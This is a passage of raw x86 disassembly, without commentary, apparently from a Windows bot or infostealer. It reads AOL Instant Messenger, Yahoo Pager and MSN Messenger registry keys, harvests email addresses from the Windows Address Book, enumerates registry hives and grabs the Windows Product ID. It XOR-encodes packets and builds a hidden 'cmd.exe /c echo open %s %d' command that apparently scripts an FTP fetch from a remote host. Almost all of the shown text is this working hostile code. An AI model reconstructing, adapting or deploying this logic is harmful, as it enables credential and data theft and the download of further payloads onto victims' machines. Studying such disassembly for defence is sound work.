24848800h, 0E0h, 0BC8DC033h, 0E124h dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h dd 424848Dh, 51000001h, 44C75250h, 4424h, 5DE80000h, 900246A2h dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 0A216E890h dd 0C0850247h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h dd 55004446h, 20244489h, 1C16C4E8h, 0B99000h, 33000002h dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0E8BF0000h, 0F3005103h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h dd 4EA1BBE8h, 8468B02h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 0E8905210h, 24BA190h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 444D30h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D8085h, 0FCB98EE8h, 1CC483FFh, 1024548Bh dd 29E89052h, 8B024BA1h, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h dd 10C683FFh, 79E4FE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh dd 448D0051h, 68501C24h, 20019h, 7068006Ah, 6800447Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 448A2Ch, 85D3FF50h, 0BE850FC0h dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B646800h dd 0F08B0044h, 8A1C6851h, 90560044h, 1C154CE8h, 4E6C6800h dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h, 8D577574h dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h dd 448D5374h, 4687C24h, 5000448Ah, 1C9EE890h, 0C4837781h dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89E86851h, 4A8D0044h dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah dd 52510000h, 4D808568h, 0B855E800h, 0C483FFFCh, 0E8905718h dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh dd 24448B04h, 0D9E8501Ch, 90024B9Fh, 1C244C8Dh, 182444C7h dd 80h, 196851h, 6A0002h, 4489C068h, 26800h, 0D5FF8000h dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h dd 8A2C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489B8h dd 6852F08Bh, 4489A8h, 3EE89056h, 68001C14h, 444E6Ch, 71E89056h dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44898C68h dd 91E85100h, 9077811Bh, 8508C483h, 8B3575C0h, 16F4249Ch dd 548D0000h, 68527C24h, 448970h, 0E8694B8Dh, 0FFFCB3EDh dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8085h, 0FCB74EE8h dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 0E8560A74h dd 777F60FBh, 4C48390h, 1C24548Bh, 0D1E89052h, 8D024B9Eh dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h dd 184h ; --------------------------------------------------------------------------- loc_436148: ; CODE XREF: ___:00435BD1j lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4362CC lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 2920000h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_448908 push ecx mov dword ptr [esp+2Ch], 100h nop call near ptr 28D0000h test eax, eax jz short loc_4361D2 mov edx, [esp+10h] push edx nop call near ptr 28F0000h jmp loc_4362CC ; --------------------------------------------------------------------------- loc_4361D2: ; CODE XREF: ___:004361C0j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_511740 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_4488FC mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 2920000h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 28D0000h test eax, eax jz short loc_436289 mov ecx, [esp+10h] push ecx call ebp jmp short loc_4362CC ; --------------------------------------------------------------------------- loc_436289: ; CODE XREF: ___:0043627Ej mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_4362CC: ; CODE XREF: ___:0043615Aj ; ___:0043617Ej ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4364D0 proc near ; CODE XREF: sub_4016FEj var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4364D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_4364D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_436570: ; CODE XREF: ___:loc_401FF5j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017EE mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43680E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 2920000h mov eax, [esp+14h] test eax, eax jz loc_43680E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_448F40 push eax nop call near ptr 28D0000h mov eax, [esp+14h] push eax call near ptr 28F0000h nop push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx call near ptr 28503BDh nop push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2720000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_436649 push edi nop call near ptr 28309C5h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436649: ; CODE XREF: ___:00436631j push 0 push 0 push 0 push 4 push ebx call near ptr 27206FCh nop mov esi, eax test esi, esi jnz short loc_436679 mov esi, dword_5118E0 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436679: ; CODE XREF: ___:0043665Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_436718 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4366BB: ; CODE XREF: ___:0043670Ej xor eax, eax mov ecx, edi loc_4366BF: ; CODE XREF: ___:004366CFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4366BF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h add edi, 44h dec ebx jnz short loc_4366BB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_436718: ; CODE XREF: ___:004366A7j push edi mov edi, dword_5118E0 call edi push esi nop call near ptr 2720865h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 2920000h test eax, eax jnz loc_43680E mov ebx, off_511C00 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_436767: ; CODE XREF: ___:004367FEj mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_448A48 push ecx call ebx ; sub_5F74D1 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 28D0000h test eax, eax jnz short loc_436803 lea ecx, [esp+2DCh] push ecx push offset dword_448A3C lea ecx, [ebp+69h] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h push 64h call near ptr 283030Ah nop jmp loc_436767 ; --------------------------------------------------------------------------- loc_436803: ; CODE XREF: ___:004367C3j mov ecx, [esp+18h] push ecx nop call near ptr 28F0000h loc_43680E: ; CODE XREF: ___:00436594j ; ___:004365C4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368D0 proc near ; CODE XREF: sub_401E65j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4368D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_40168B lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4368D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_40168B add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4369E0 proc near ; CODE XREF: sub_401E6Aj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4369E0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436EB7 push ebp xor ebp, ebp push ebp push offset asc_444600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017EE mov edi, dword_511764 push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017EE mov ebp, dword_51172C push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436B0C lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B8B+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436B0C: ; CODE XREF: sub_4369E0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F0000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436BF4 lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B7F+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436BF4: ; CODE XREF: sub_4369E0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F0000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436CDC lea ecx, [esp+144h+var_108] push ecx push offset loc_448B74 lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436CDC: ; CODE XREF: sub_4369E0+2CCj mov ecx, [esp+144h+var_130] push ecx call near ptr 28F0000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436DC4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436DC4: ; CODE XREF: sub_4369E0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F0000h push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017EE push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_436EAD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436EAD: ; CODE XREF: sub_4369E0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_436F51 ; --------------------------------------------------------------------------- loc_436EB7: ; CODE XREF: sub_4369E0+3Cj lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436F57 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 2920000h mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 28D0000h test eax, eax jnz short loc_436F4C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h loc_436F4C: ; CODE XREF: sub_4369E0+539j mov eax, [esp+144h+var_12C] push eax loc_436F51: ; CODE XREF: sub_4369E0+4D2j nop call near ptr 28F0000h loc_436F57: ; CODE XREF: sub_4369E0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4369E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4370F0 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_43710D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_437103: ; CODE XREF: sub_4370F0+1Bj cmp [eax+edx], cl jz short loc_437111 inc eax cmp eax, esi jl short loc_437103 loc_43710D: ; CODE XREF: sub_4370F0+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_437111: ; CODE XREF: sub_4370F0+16j pop esi mov al, 1 retn sub_4370F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_437130: ; CODE XREF: ___:00401433j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h nop call near ptr 71AB2B66h mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_448B97+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_4371EC push ebx push ebp call eax add esp, 8 loc_4371EC: ; CODE XREF: ___:004371E3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43722E: ; CODE XREF: ___:004372A7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4372A9 loc_43726E: ; CODE XREF: ___:0043723Cj ; ___:0043724Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4372A0 loc_437293: ; CODE XREF: ___:0043729Ej mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437293 loc_4372A0: ; CODE XREF: ___:00437291j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43722E ; --------------------------------------------------------------------------- loc_4372A9: ; CODE XREF: ___:0043726Cj mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_437390: ; CODE XREF: ___:00401D75j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B97+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_437442 push ebx push ebp call eax add esp, 8 loc_437442: ; CODE XREF: ___:00437439j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437484: ; CODE XREF: ___:004374FDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4374FF loc_4374C4: ; CODE XREF: ___:00437492j ; ___:004374A2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4374F6 loc_4374E9: ; CODE XREF: ___:004374F4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4374E9 loc_4374F6: ; CODE XREF: ___:004374E7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_437484 ; --------------------------------------------------------------------------- loc_4374FF: ; CODE XREF: ___:004374C2j mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4375F0: ; CODE XREF: ___:00401FFFj mov eax, 200Ch call sub_437B30 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5F74D1 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx nop call near ptr 77C2C407h mov 